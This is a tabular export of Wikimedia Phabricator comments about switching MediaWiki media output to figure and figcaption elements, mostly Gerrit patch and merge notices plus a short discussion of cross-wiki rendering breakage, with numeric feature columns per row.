https://gerrit.wikimedia.org/r/726707",,,1633480028,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.064516129032258,0.7741935483870968,"Change 726707 **merged** by jenkins-bot:
%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
GERRIT_URL"
1795565,Use figure and figcaption HTML5 elements when possible,"Change 726709 **merged** by jenkins-bot:
%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
https://gerrit.wikimedia.org/r/726709",,,1633479766,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.064516129032258,0.7741935483870968,"Change 726709 **merged** by jenkins-bot:
%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
GERRIT_URL"
1795521,Use figure and figcaption HTML5 elements when possible,"Change 726697 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
https://gerrit.wikimedia.org/r/726697",,,1633476238,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.0,0.7931034482758621,"Change 726697 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
GERRIT_URL"
1795515,Use figure and figcaption HTML5 elements when possible,"Change 726709 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
https://gerrit.wikimedia.org/r/726709",,,1633475767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.457142857142857,0.8571428571428571,"Change 726709 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@wmf/1.38.0-wmf.3] Add a separate config for content.media.less%%%
GERRIT_URL"
1795513,Use figure and figcaption HTML5 elements when possible,"Change 726707 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
https://gerrit.wikimedia.org/r/726707",,,1633475698,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.457142857142857,0.8571428571428571,"Change 726707 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
GERRIT_URL"
1795474,Use figure and figcaption HTML5 elements when possible,"Change 726697 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
https://gerrit.wikimedia.org/r/726697",,,1633471391,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,4.424242424242424,0.8484848484848485,"Change 726697 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add a separate config for content.media.less%%%
GERRIT_URL"
1795194,Use figure and figcaption HTML5 elements when possible,"I generally agree with the direction of the patch, if we can load the styles regardless of what the config flag is, we should.

However, the situation for Commons is more tricky, because it's arbitrary MediaWiki installations requesting those pages...ideally we'd backport the styles for 1.35/1.36 if they're not there already. How bad will it look if those styles aren't there?",,,1633450464,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,5.0,1.0,15.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,8.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,7.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,9.0,12.0,4.0,1.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,4.253333333333333,0.72,"I generally agree with the direction of the patch, if we can load the styles regardless of what the config flag is, we should.

However, the situation for Commons is more tricky, because it's arbitrary MediaWiki installations requesting those pages...ideally we'd backport the styles for 1.35/1.36 if they're not there already. How bad will it look if those styles aren't there?"
1795164,Use figure and figcaption HTML5 elements when possible,"Change 726645 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
https://gerrit.wikimedia.org/r/726645",,,1633448058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,4.375,0.85,"Change 726645 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
GERRIT_URL"
1795160,Use figure and figcaption HTML5 elements when possible,"Change 726643 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] [WIP] Enable legacy media dom on metawiki%%%
https://gerrit.wikimedia.org/r/726643",,,1633448046,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,4.078947368421052,0.8421052631578947,"Change 726643 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] [WIP] Enable legacy media dom on metawiki%%%
GERRIT_URL"
1795149,Use figure and figcaption HTML5 elements when possible,"> Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis

Thanks.  If you can think of any other situation where there is similar cross wiki inclusion, please let me know",,,1633447156,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,431,,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,1.0,"QUOTE

Thanks.  If you can think of any other situation where there is similar cross wiki inclusion, please let me know"
1795139,Use figure and figcaption HTML5 elements when possible,"> Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis

Thanks.  If you can think of any of situation where there is similar cross wiki inclusion, please let me know",,,1633446229,,PHID-USER-gxcjmjpejlhfnrquksm2,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,431,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,12.0,8.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.88,0.96,"QUOTE

Thanks.  If you can think of any of situation where there is similar cross wiki inclusion, please let me know"
1794932,Use figure and figcaption HTML5 elements when possible,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy `<div>`-based output, see T292498. Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis.",,,1633422992,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.630434782608695,0.8695652173913043,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy CODE-based output, see T292498. Without any countermeasures, I’m pretty sure the same will happen on file description pages if Commons switches before other wikis."
1794929,Use figure and figcaption HTML5 elements when possible,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy `<div>`-based output, see T292498.
",,,1633422717,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.25,1.0,"Deployment to Meta broke global user pages appearing on wikis that still use the legacy CODE-based output, see T292498.
"
1793345,Use figure and figcaption HTML5 elements when possible,"Change 725160 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
https://gerrit.wikimedia.org/r/725160",,,1633046282,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,6.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,4.444444444444445,0.8888888888888888,"Change 725160 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
GERRIT_URL"
1793029,Use figure and figcaption HTML5 elements when possible,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://sal.toolforge.org/log/yJ_wN3wB1jz_IcWuFNcF} [2021-09-30T18:20:53Z] <thcipriani@deploy1002> Synchronized wmf-config/InitialiseSettings.php: Config: [[gerrit:724861|Disable legacy media dom on a few more wikis (T51097)]] (duration: 01m 08s)",,,1633026053,,PHID-USER-j4uyesgqhubl2dywl4xd,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,11.0,3.8412698412698414,0.746031746031746,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2021-09-30T18:20:53Z] <thcipriani@deploy1002> Synchronized wmf-config/InitialiseSettings.php: Config: [[gerrit:724861|Disable legacy media dom on a few more wikis (T51097)]] (duration: 01m 08s)"
1793024,Use figure and figcaption HTML5 elements when possible,"Change 724861 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
https://gerrit.wikimedia.org/r/724861",,,1633025810,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,3.7058823529411766,0.7941176470588235,"Change 724861 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
GERRIT_URL"
1792511,Use figure and figcaption HTML5 elements when possible,"Change 724861 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
https://gerrit.wikimedia.org/r/724861",,,1632960717,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,430,,3.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,5.0,4.105263157894737,0.868421052631579,"Change 724861 had a related patch set uploaded (by Arlolra; author: Arlolra):
%%%[operations/mediawiki-config@master] Disable legacy media dom on a few more wikis%%%
GERRIT_URL"
1790311,Use figure and figcaption HTML5 elements when possible,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ? (Ah, because I use Timeless and there is {T287965} )",,,1632754354,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,430,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,15.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,18.0,8.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,15.0,8.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7948717948717947,0.9230769230769231,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ? (Ah, because I use Timeless and there is {T287965} )"
1790305,Use figure and figcaption HTML5 elements when possible,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ?",,,1632753845,,PHID-USER-wrimmmr5w2zt7nk2t753,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,True,,,430,,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.2,0.96,"Shouldn't these changes have rolled out by now ? If so, why is the thumbnail on MediaWiki.org still jumping around after load ?"
1780534,Use figure and figcaption HTML5 elements when possible,"Change 719179 **merged** by jenkins-bot:
%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
https://gerrit.wikimedia.org/r/719179",,,1631051594,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.793103448275862,0.7586206896551724,"Change 719179 **merged** by jenkins-bot:
%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
GERRIT_URL"
1780533,Use figure and figcaption HTML5 elements when possible,"Change 719180 **merged** by jenkins-bot:
%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
https://gerrit.wikimedia.org/r/719180",,,1631051550,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.793103448275862,0.7586206896551724,"Change 719180 **merged** by jenkins-bot:
%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
GERRIT_URL"
1780524,Use figure and figcaption HTML5 elements when possible,"Change 719180 had a related patch set uploaded (by Krinkle; author: Arlolra):
%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
https://gerrit.wikimedia.org/r/719180",,,1631050915,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,427,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.121212121212121,0.8787878787878788,"Change 719180 had a related patch set uploaded (by Krinkle; author: Arlolra):
%%%[mediawiki/core@REL1_35] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
GERRIT_URL"
1780523,Use figure and figcaption HTML5 elements when possible,"Change 719179 had a related patch set uploaded (by Krinkle; author: Arlolra):
%%%[mediawiki/core@REL1_36] resourceloader: Call getStyleFiles from FileModule::getFileHashes%%%
